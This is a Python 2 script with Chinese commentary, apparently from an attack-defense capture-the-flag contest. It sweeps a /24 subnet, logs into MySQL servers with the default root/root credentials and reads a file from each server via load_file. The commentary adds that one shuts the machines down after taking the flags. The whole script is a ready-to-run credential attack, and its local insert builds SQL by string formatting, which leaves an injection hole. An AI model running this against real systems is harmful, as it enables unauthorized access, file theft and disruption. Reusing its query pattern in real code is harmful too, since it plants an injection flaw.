#!/usr/bin/env python
import MySQLdb

def Mysql_Inject(ip,flag):
    db = MySQLdb.connect("127.0.0.1","root","123456","python")
    cursor = db.cursor()
    try:
        query = "insert into py values(\"%s\",\"%s\");"%(ip,flag)
        cursor.execute(query)
        db.commit()
    except:
        print "save error!"
        db.rollback()
    db.close()

def MySQL_Connect(ip):
    try:
        db = MySQLdb.connect(ip,"root","root","mysql")
        cursor = db.cursor()
    except:
        pass
    try:
        cursor.execute("select load_file('/flagvalue.txt');")
        result = cursor.fetchall()
        for row in result:
            ip = ip
            flag = result[0][0]
            db.close()
            Mysql_Inject(ip,flag)
            print "get %s flag!"%ip
    except:
        pass

for i in range(1,254):
    ip = '192.168.1.%s'%i
    MySQL_Connect(ip)

这里也不能算是漏洞，算是批量扫描一下弱密码。

不过密码都不改那肯定是通过脚本批量拿了，拿完关机美滋滋，比赛中速度才是胜利的第一要义。

尽管metasploit中也有很多mysql爆破的脚本，但是可定制性太差，还是要自己写一套。